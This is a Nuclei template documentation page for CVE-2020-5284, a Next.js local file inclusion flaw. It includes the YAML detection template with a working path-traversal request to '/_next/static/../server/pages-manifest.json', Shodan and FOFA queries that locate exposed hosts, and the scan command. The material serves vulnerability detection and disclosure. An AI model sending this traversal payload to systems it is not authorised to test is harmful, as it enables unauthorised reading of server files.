Skip to content
Nuclei Templates

Next.js <9.3.2 - Local File Inclusion

ID: CVE-2020-5284

Severity: medium

Author: rootxharsh,iamnoooob,dwisiswant0

Tags: cve,cve2020,nextjs,lfi,zeit

Description

Section titled “Description”

Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.

YAML Source

Section titled “YAML Source”
id: CVE-2020-5284


info:
  name: Next.js <9.3.2 - Local File Inclusion
  author: rootxharsh,iamnoooob,dwisiswant0
  severity: medium
  description: Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: This issue is fixed in version 9.3.2.
  reference:
    - https://github.com/zeit/next.js/releases/tag/v9.3.2
    - https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5284
    - https://github.com/Z0fhack/Goby_POC
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2020-5284
    cwe-id: CWE-22,CWE-23
    epss-score: 0.00213
    epss-percentile: 0.5933
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2020,nextjs,lfi,zeit


http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"


      - type: regex
        part: body
        regex:
          - '\{"/_app":".*?_app\.js"'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fb62444c434ea1f59be27210d901ab14bbaca46db81220b311e7d50b13a3cf5602200c09dabda6207b1530a7167d11a54431f66d016d01292d64179180771ca91f2a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-5284.yaml"

View on Github